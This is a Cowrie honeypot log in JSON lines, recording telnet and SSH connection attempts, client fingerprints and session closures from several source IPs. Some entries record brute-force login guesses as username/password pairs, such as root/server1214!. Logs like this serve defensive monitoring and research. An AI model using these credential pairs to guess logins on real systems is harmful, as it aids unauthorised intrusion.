{"eventid":"cowrie.session.closed","duration":31.042503356933594,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:36:36.267098Z","src_ip":"62.171.135.55","session":"708f4b8f4f9a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.09671640396118,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:36:42.965239Z","src_ip":"62.171.135.55","session":"ec3cbb1f5d6b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"vvvvvvvv","message":"login attempt [root/vvvvvvvv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:36:45.300587Z","src_ip":"213.209.159.158","session":"d92d8b5e69ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":51226,"dst_ip":"159.203.135.109","dst_port":23,"session":"422e93f49c91","protocol":"telnet","message":"New connection: 62.171.135.55:51226 (159.203.135.109:23) [session: 422e93f49c91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:36:45.860700Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.178.160.252","src_port":41928,"dst_ip":"159.203.135.109","dst_port":23,"session":"2b5cfdfd5197","protocol":"telnet","message":"New connection: 68.178.160.252:41928 (159.203.135.109:23) [session: 2b5cfdfd5197]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:36:46.029509Z"}
{"eventid":"cowrie.session.closed","duration":30.93754291534424,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:36:47.057884Z","src_ip":"107.155.66.219","session":"faebf7849a63","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"15.0","message":"Connection lost after 15.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:36:48.519043Z","src_ip":"213.209.159.158","session":"d92d8b5e69ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":32570,"dst_ip":"159.203.135.109","dst_port":22,"session":"0b30524a1e80","protocol":"ssh","message":"New connection: 213.209.159.158:32570 (159.203.135.109:22) [session: 0b30524a1e80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:36:48.611862Z"}
{"eventid":"cowrie.session.closed","duration":30.31585168838501,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:36:49.149625Z","src_ip":"68.178.160.252","session":"727747073aec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.7619149684906,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:36:50.798504Z","src_ip":"62.171.135.55","session":"c78f9032489c","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:36:51.105228Z","src_ip":"213.209.159.158","session":"0b30524a1e80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:36:51.108590Z","src_ip":"213.209.159.158","session":"0b30524a1e80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00115513801575,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:36:51.726552Z","src_ip":"45.189.77.161","session":"7e65291bbdfe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":54888,"dst_ip":"159.203.135.109","dst_port":22,"session":"b78ab412d4ad","protocol":"ssh","message":"New connection: 159.203.92.129:54888 (159.203.135.109:22) [session: b78ab412d4ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:36:55.550604Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:36:55.555586Z","src_ip":"159.203.92.129","session":"b78ab412d4ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:36:55.560477Z","src_ip":"159.203.92.129","session":"b78ab412d4ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"manager","message":"login attempt [ansible/manager] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:36:55.576666Z","src_ip":"159.203.92.129","session":"b78ab412d4ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":53356,"dst_ip":"159.203.135.109","dst_port":23,"session":"cae17f5258af","protocol":"telnet","message":"New connection: 62.171.135.55:53356 (159.203.135.109:23) [session: cae17f5258af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:36:55.780932Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:36:56.585376Z","src_ip":"159.203.92.129","session":"b78ab412d4ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Vl.123345","message":"login attempt [root/Vl.123345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:37:00.325140Z","src_ip":"213.209.159.158","session":"0b30524a1e80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.9","message":"Connection lost after 14.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:37:03.486826Z","src_ip":"213.209.159.158","session":"0b30524a1e80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":60302,"dst_ip":"159.203.135.109","dst_port":22,"session":"b58198d4cfad","protocol":"ssh","message":"New connection: 213.209.159.158:60302 (159.203.135.109:22) [session: b58198d4cfad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:37:03.576087Z"}
{"eventid":"cowrie.session.connect","src_ip":"156.227.233.77","src_port":54100,"dst_ip":"159.203.135.109","dst_port":22,"session":"f79c20584771","protocol":"ssh","message":"New connection: 156.227.233.77:54100 (159.203.135.109:22) [session: f79c20584771]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:37:03.922620Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:37:03.928057Z","src_ip":"156.227.233.77","session":"f79c20584771","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:37:04.091279Z","src_ip":"156.227.233.77","session":"f79c20584771","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":54526,"dst_ip":"159.203.135.109","dst_port":23,"session":"c2918011b3df","protocol":"telnet","message":"New connection: 107.155.66.219:54526 (159.203.135.109:23) [session: c2918011b3df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:37:04.152788Z"}
{"eventid":"cowrie.login.failed","username":"userftp","password":"ftpuser","message":"login attempt [userftp/ftpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:37:04.774448Z","src_ip":"156.227.233.77","session":"f79c20584771","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.72177505493164,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:37:05.370140Z","src_ip":"62.171.135.55","session":"bd8ce2cb385c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:37:05.940892Z","src_ip":"156.227.233.77","session":"f79c20584771","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:37:06.050492Z","src_ip":"213.209.159.158","session":"b58198d4cfad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:37:06.054989Z","src_ip":"213.209.159.158","session":"b58198d4cfad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.09683108329773,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:37:06.273699Z","src_ip":"107.155.66.219","session":"867b26f1d92e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.471301794052124,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:37:06.573978Z","src_ip":"107.155.66.219","session":"663c7e56c863","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.159.177.40","src_port":45274,"dst_ip":"159.203.135.109","dst_port":22,"session":"cc15c0c25508","protocol":"ssh","message":"New connection: 43.159.177.40:45274 (159.203.135.109:22) [session: cc15c0c25508]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:37:06.970585Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:37:06.975379Z","src_ip":"43.159.177.40","session":"cc15c0c25508","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:37:07.053529Z","src_ip":"43.159.177.40","session":"cc15c0c25508","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":55096,"dst_ip":"159.203.135.109","dst_port":23,"session":"3545323e39a0","protocol":"telnet","message":"New connection: 107.155.66.219:55096 (159.203.135.109:23) [session: 3545323e39a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:37:07.114665Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"server1214!","message":"login attempt [root/server1214!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:37:07.370469Z","src_ip":"43.159.177.40","session":"cc15c0c25508","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:37:08.444240Z","src_ip":"43.159.177.40","session":"cc15c0c25508","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":39032,"dst_ip":"159.203.135.109","dst_port":23,"session":"c9251e28796a","protocol":"telnet","message":"New connection: 62.171.135.55:39032 (159.203.135.109:23) [session: c9251e28796a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:37:10.021545Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.178.160.252","src_port":52108,"dst_ip":"159.203.135.109","dst_port":23,"session":"639c9c454b0f","protocol":"telnet","message":"New connection: 68.178.160.252:52108 (159.203.135.109:23) [session: 639c9c454b0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:37:10.965939Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.178.160.252","src_port":53164,"dst_ip":"159.203.135.109","dst_port":23,"session":"10ddcf6e039b","protocol":"telnet","message":"New connection: 68.178.160.252:53164 (159.203.135.109:23) [session: 10ddcf6e039b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:37:13.685545Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":55102,"dst_ip":"159.203.135.109","dst_port":23,"session":"10f163f7fb2f","protocol":"telnet","message":"New connection: 107.155.66.219:55102 (159.203.135.109:23) [session: 10f163f7fb2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:37:14.516762Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"vq123456","message":"login attempt [root/vq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:37:15.191226Z","src_ip":"213.209.159.158","session":"b58198d4cfad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.249059915542603,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:37:16.109654Z","src_ip":"62.171.135.55","session":"422e93f49c91","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.10522413253784,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:37:18.134616Z","src_ip":"68.178.160.252","session":"2b5cfdfd5197","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"15.3","message":"Connection lost after 15.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:37:18.829818Z","src_ip":"213.209.159.158","session":"b58198d4cfad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":24896,"dst_ip":"159.203.135.109","dst_port":22,"session":"0e451c1056a6","protocol":"ssh","message":"New connection: 213.209.159.158:24896 (159.203.135.109:22) [session: 0e451c1056a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:37:18.912371Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:37:21.111426Z","src_ip":"213.209.159.158","session":"0e451c1056a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:37:21.115296Z","src_ip":"213.209.159.158","session":"0e451c1056a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":56246,"dst_ip":"159.203.135.109","dst_port":23,"session":"af1d92d7a6cb","protocol":"telnet","message":"New connection: 62.171.135.55:56246 (159.203.135.109:23) [session: af1d92d7a6cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:37:23.214339Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":49004,"dst_ip":"159.203.135.109","dst_port":23,"session":"8663b7868780","protocol":"telnet","message":"New connection: 107.155.66.219:49004 (159.203.135.109:23) [session: 8663b7868780]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:37:23.436887Z"}
